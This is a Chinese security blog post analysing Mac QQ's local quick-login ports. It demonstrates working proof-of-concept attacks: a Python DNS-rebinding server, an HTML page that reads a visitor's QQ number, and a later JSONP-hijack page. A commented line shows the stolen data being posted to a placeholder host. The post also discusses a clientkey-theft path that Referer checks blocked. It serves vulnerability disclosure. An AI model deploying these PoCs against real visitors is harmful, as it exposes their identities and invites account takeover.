0x01 前言

在 V2EX 看到个有趣的帖子:通过 QQ 客户端登录 Web 邮箱的身份认证漏洞
于是研究了一下自己 Mac 上打开 QQ 邮箱的流程,发现利用 QQ 快速登录的一些设计缺陷可以在 Web 端获取访客的 QQ 号,甚至有可能获取到访客的 clientkey 来登陆他的 QQ 邮箱、空间等(虽然最后遇到坑失败了 Orz)。
只有 Mac QQ 受影响。(文中提到的 QQ 版本: Windows QQ 轻聊版 7.9,Mac QQ MAS 版 5.4.1,文中部分参数在不影响阅读前提下经过处理)

0x02 初探

参考 How Does QQ Know Who I am,首先看看 Mac 版 QQ 的监听端口:

$ lsof -n -P -i TCP -s TCP:LISTEN | grep 430
QQ        852 user   44u  IPv4 0x31f4b01c692c6bef      0t0  TCP 127.0.0.1:4300 (LISTEN)
QQ        852 user   45u  IPv4 0x31f4b01c692c59ff      0t0  TCP 127.0.0.1:4301 (LISTEN)

可以看到 QQ 默认监听了本地的 43004301 端口,这两个端口的区别就是前者是 HTTP 协议而后者是 HTTPS 的。
用户在网页端使用快速登录时,会先对这两个端口中的一个进行请求获取当前登陆的 QQ 号(多个 QQ 号的信息会一同返回):

http://localhost.ptlogin2.qq.com:4300/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123

https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123

测试发现 QQ 空间和邮箱的客户端快速登录用的是 4031 端口,而 www.qq.com 官网弹出的快速登录窗口用的又是 4300 端口,不明白为什么不统一使用更安全的 4031 端口。
如果没有从这两个默认端口获取到信息,快速登录的 SDK 会更换端口进行重试。比如接下来请求的 HTTP 的端口会依次是 4300、4302、4304、4306… HTTPS 的端口会依次是 4301、4303、4305、4307…
参考QQ模拟登录实现后篇,重试请求最多五次。

在本机用 curl 模拟请求这个接口:

$ curl -v http://127.0.0.1:4300/pt_get_uins\?callback\=ptui_getuins_CB
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1 (127.0.0.1) port 4300 (#0)
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1:4300
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:50:47 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1 left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list); 

$ curl -v https://127.0.0.1.xip.io:4301/pt_get_uins\?callback\=ptui_getuins_CB -k
*   Trying 127.0.0.1...
* TCP_NODELAY set
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* TLS 1.2 connection using TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384
* Server certificate: localhost.ptlogin2.qq.com
* Server certificate: GlobalSign Organization Validation CA - SHA256 - G2
* Server certificate: GlobalSign Root CA
> GET /pt_get_uins?callback=ptui_getuins_CB HTTP/1.1
> Host: 127.0.0.1.xip.io:4301
> User-Agent: curl/7.51.0
>
< HTTP/1.1 200 OK
< Date: Tue, 13 Jun 2017 11:33:07 GMT
< Accept-Ranges: bytes
< Content-Length: 185
< Content-Type: Application/javascript
<
* Curl_http_done: called premature == 0
* Connection #0 to host 127.0.0.1.xip.io left intact
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);

可以看到无论是 4300 和 4301 端口都“来者不拒”,并未做任何验证,这与 Windows 版 QQ 有很大区别。我们能不能利用它搞点事情呢?

(接下来思路歪到火星了… 简单的问题搞得太复杂,其实这就是个 JSONP 的请求,具体请看文末)

不过和之前出现在百度的安卓 SDK 的 WormHole 漏洞不一样,QQ 监听的是本地端口,所以从外部是无法访问的。
所以如果想从 Web 发送请求到 127.0.0.1(localhost.ptlogin2.qq.com),肯定会被同源策略(SOP)给拦截掉。

0x03 DNS Rebinding

思考了一下绕过 SOP 的方法,想起来去年 SSRF 火热的时候流行的一个手段——DNS Rebinding

可以参考 Ricterz 的用 DNS Rebinding 绕过域名 IP 校验的文章:Use DNS Rebinding to Bypass IP Restriction
同理我们也可以试着用 DNS Rebinding 欺骗浏览器从而绕过 SOP。

具体操作参考关于 DNS-rebinding 的总结

先准备一个域名 xxx.net,添加一条 NS 记录A 记录

sp170613_160552.png

A 记录表示域名 ns.xxx.net 的 IP 地址是 45.77.11.22
NS 记录表示 rebind.xxx.net 这个子域名指定由 ns.xxx.net 这个域名服务器来解析。

然后在 ns.xxx.net 上搭建我们自定义的 DNS 服务器,代码如下:

from twisted.internet import reactor, defer
from twisted.names import client, dns, error, server

record={}

class DynamicResolver(object):

    def _doDynamicResponse(self, query):
        name = query.name.name

        if name not in record or record[name]<1:
            ip = "45.77.11.22"
        else:
            ip = "127.0.0.1"

        if name not in record:
            record[name] = 0
        record[name] += 1

        print name + " ===> " + ip

        answer = dns.RRHeader(
            name = name,
            type = dns.A,
            cls = dns.IN,
            ttl = 0,
            payload = dns.Record_A(address = b'%s' % ip, ttl=0)
        )
        answers = [answer]
        authority = []
        additional = []
        return answers, authority, additional

    def query(self, query, timeout=None):
        return defer.succeed(self._doDynamicResponse(query))

def main():
    factory = server.DNSServerFactory(
        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]
    )

    protocol = dns.DNSDatagramProtocol(controller=factory)
    reactor.listenUDP(53, protocol)
    reactor.run()

if __name__ == '__main__':
    raise SystemExit(main())

需要安装 twisted 库,如果 pip install twisted 不成功的话建议下载源码包然后 python setup.py install
以 Root 权限运行脚本(记得打开防火墙的 53 端口),DNS 服务器就搞定了。

接着写 PoC:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Rebind Test</title>
</head>
<body>
    <script src="//upcdn.b0.upaiyun.com/libs/jquery/jquery-2.0.3.min.js"></script>
    <script>
    function GetUin(){
        $.ajax({
        url: "http://rebind.xxx.net:4300/pt_get_uins?callback=hello",
        type: "GET",
        dataType: "text",
        success: function(data){
            // $.post("http://xxxx", {'qq_uin': data})}
            alert(data);
            }
        });
    }
    // 让子弹飞一会儿
    setTimeout("GetUin()", 3000);
    </script>
</body>
</html>

保存为 index.html,执行 python -m SimpleHTTPServer 4300 开启一个简单的 WebServer,
最后访问 http://rebind.xxx.net:4300,成功获得了访问用户的 QQ 信息:

WX20170613-214855@2x.png

此时服务器上的日志:

WX20170613-215305@2x.png

(因为浏览器会缓存 DNS 记录,所以测试时需要清理一下 chrome://net-internals/#dnschrome://net-internals/#sockets)。

0x04 深入

文章开头 V2EX 的帖子提到用 QQ 客户端打开邮箱时会生成一个包含 clientuinclientkey 的链接,任何人访问这个链接就能打开对应的 QQ 邮箱乃至 QQ 空间等其他腾讯业务。

想起来很久之前看过的一个漏洞:你 Windows 上开着 QQ 点了我的链接我就进了你的 QQ 邮箱财付通等(任意腾讯 XSS 拿 QQ 的 clientkey)
这个漏洞主要是用 XSS偷 clientuin 和 clientkey,漏洞作者有提到一句话:

这个请求的 token 校验没有经过服务端验证,直接就是看 get 参数里的 pt_local_tk 是否和 cookie 中的 pt_local_token 相等

这样的话,攻击者就可以更轻松的去伪造请求让用户快速登陆。而且,理论上本机 localhost 上的任何软件都可以很轻易的伪造请求来获取当前登陆 QQ 的 clientkey

如果已经能在用户电脑上安装软件了,还用这种方法获取 clientkey 看起来多此一举。
那我们是不是也能用 DNS Rebinding 的方法得到 clientkey 呢?

继续分析快速登陆流程,获取到当前登陆的 QQ 号后,用户在页面点击自己的 QQ 头像,会请求

http://localhost.ptlogin2.qq.com:4300/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123
// 或
https://localhost.ptlogin2.qq.com:4301/pt_get_st?clientuin=123456&callback=ptui_getst_CB&pt_local_tk=123

如果请求成功会返回包含 clientkey 的 Cookie。
但不幸的是这里检查了 Referer

// 简化的请求
GET /pt_get_st?clientuin=123456&callback=ptui_getst_CB HTTP/1.1
Host: localhost.ptlogin2.qq.com:4300
Connection: close
Referer: http://ptlogin2.qq.com

这个请求检查 Referer 是否来自 *.ptlogin2.qq.com*.ptlogin2.qcloud.com 等腾讯自己的域名,且二级域名必须是 ptlogin2。否则就会 400 Bad Request:

WX20170613-210347@2x.png

因为 JS 无法修改 Referer,所以需要一个白名单域下的 302 任意跳转或 XSS,或者浏览器层的 Referer 欺骗(如 Referrer spoofing with iframe injection)。

可惜找了一圈没找到可用的漏洞,只能先放着了。(话说呆子不开口提交漏洞报告后腾讯好像只是修复了 ui.ptlogin2.qq.com 的 XSS 漏洞,并没有对整个流程进行修改)

接着看了下 Windows 版 QQ,同样默认监听了本地的 4300 和 4301 端口:

$ netstat -an | findstr 430
  TCP    127.0.0.1:4300         0.0.0.0:0              LISTENING
  TCP    127.0.0.1:4301         0.0.0.0:0              LISTENING

经测试 Windows 版 QQ 相比 Mac 版多了有三处变化:

  1. Referer 验证。Referer 必须来自于 *.qq.com*.tencent.com*.weiyun.com 等腾讯自己的域名。
  2. Cookie 验证。GET 参数中的 pt_local_tk 必须与 Cookie 中的 pt_local_token 相同。
  3. Hostname 验证。请求头中的 Host 必须是 localhost.ptlogin2.qq.com

第一个和第二个验证使从其他网站发送的 AJAX 请求无效,因为浏览器会拒绝修改 HTTP 头中的 Referer 和 Cookie :

WX20170613-211113@2x.png

而第三个验证会让 DNS Rebinding 失效,因为我们控制的域名不可能和 localhost.ptlogin2.qq.com 一样。

一个简化的 Windows 版 QQ 请求本地 4301 端口内容:

GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1
Host: localhost.ptlogin2.qq.com:4301
Connection: close
Referer: http://test.qq.com
Cookie:  pt_local_token=123; 

用 curl 模拟请求:

$ curl -i -v -s -k -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" --cacert "F:\ca-bundle.crt" \ 
"https://localhost.ptlogin2.qq.com:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123"        
* timeout on name lookup is not supported
*   Trying 127.0.0.1...
* Connected to localhost.ptlogin2.qq.com (127.0.0.1) port 4301 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: F:\ca-bundle.crt
  CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* // 省略部分 TLS handshake …… 
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / AES256-GCM-SHA384
* ALPN, server did not agree to a protocol
* Server certificate:
*        subject: C=CN; ST=guangdong; L=shenzhen; O=Shenzhen Tencent Computer Systems Compan
y Limited; CN=localhost.ptlogin2.qq.com                                                     
*        start date: May 15 07:01:45 2017 GMT
*        expire date: May 16 07:01:45 2018 GMT
*        issuer: C=BE; O=GlobalSign nv-sa; CN=GlobalSign Organization Validation CA - SHA256
 - G2
*        SSL certificate verify result: unable to get local issuer certificate (20), continu
ing anyway.
> GET /pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123 HTTP/1.1
> Host: localhost.ptlogin2.qq.com:4301
> Cookie: pt_local_token=123 
> Referer: http://test.qq.com
>                                                                                           
< HTTP/1.1 200 OK
< Content-Type: Application/javascript
< Content-Length: 176
                                                                                            
<
var var_sso_uin_list=[{"account":"123456","client_type":65793,"face_index":540,"gender":
1,"nickname":"Test","uin":"123456","uin_flag":12345678}];ptui_getuins_CB(var_sso_uin_list);  

如果修改 hostname,虽然 IP 都是 127.0.0.1,依然会报错。

$ curl -i -s -k -v -X "GET" -H "Referer: http://test.qq.com" -b "pt_local_token=123" --cacert "F:\ca-bundle.crt\ 
"https://127.0.0.1.xip.io:4301/pt_get_uins?callback=ptui_getuins_CB&pt_local_tk=123"
* timeout on name lookup is not supported
*   Trying 127.0.0.1...
* Connected to 127.0.0.1.xip.io (127.0.0.1) port 4301 (#0)
* ALPN, offering http/1.1
* Cipher selection: ALL:!EXPORT:!EXPORT40:!EXPORT56:!aNULL:!LOW:!RC4:@STRENGTH
* successfully set certificate verify locations:
*   CAfile: F:\ca-bundle.crt
  CApath: none
* TLSv1.2 (OUT), TLS header, Certificate Status (22):
* TLSv1.2 (OUT), TLS handshake, Client hello (1):
* Unknown SSL protocol error in connection to 127.0.0.1.xip.io:4301
* Closing connection 0

有了这三个验证,从 Web 端利用这个接口获取 Windows 访客 QQ 号就行不通了。

0x05 总结

QQ Mac 版和 Windows 版在实现快速登录的流程是一样的,但具体细节明显是 Windows 版更完善。
只监听本地端口并不意味着就不会受到外部的攻击,利用 DNS Rebinding 甚至可以攻击开发者本地的数据库
目前对于 DNS Rebinding 没有太好的解决办法,主流浏览器有一个DNS 阻塞(DNS pinning)的机制。
简单来说,就是某些包含特定端口(如 SMTP 和 IRC)的网站一旦被加载完成,浏览器就需要忽略其 DNS 的变化。
所以除了依赖浏览器,程序在接收外部请求时也要严格验证其合法性。

0x06 参考


Update 2017/07/02

本来写的好玩的好像引起了关注 = =!
看到微博上 P牛 提醒才发现那么明显的 callback 我居然没注意到,看来半夜瞎折腾果然不靠谱……
既然是 JSONP 的话就很简单了,因为本来就是用来跨域获取数据的,所以参考黑哥的大作 JSONP 安全攻防技术,直接劫持一下就搞定:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>JSONP Test</title>
</head>
<body>
    <script>
        function ptui_getuins_CB(data) {
            data.forEach(function (qq) {
                alert(JSON.stringify(qq));
            })
        }
    </script>
    <script src="http://127.0.0.1:4300/pt_get_uins?callback=ptui_getuins_CB"></script>
</body>
</html>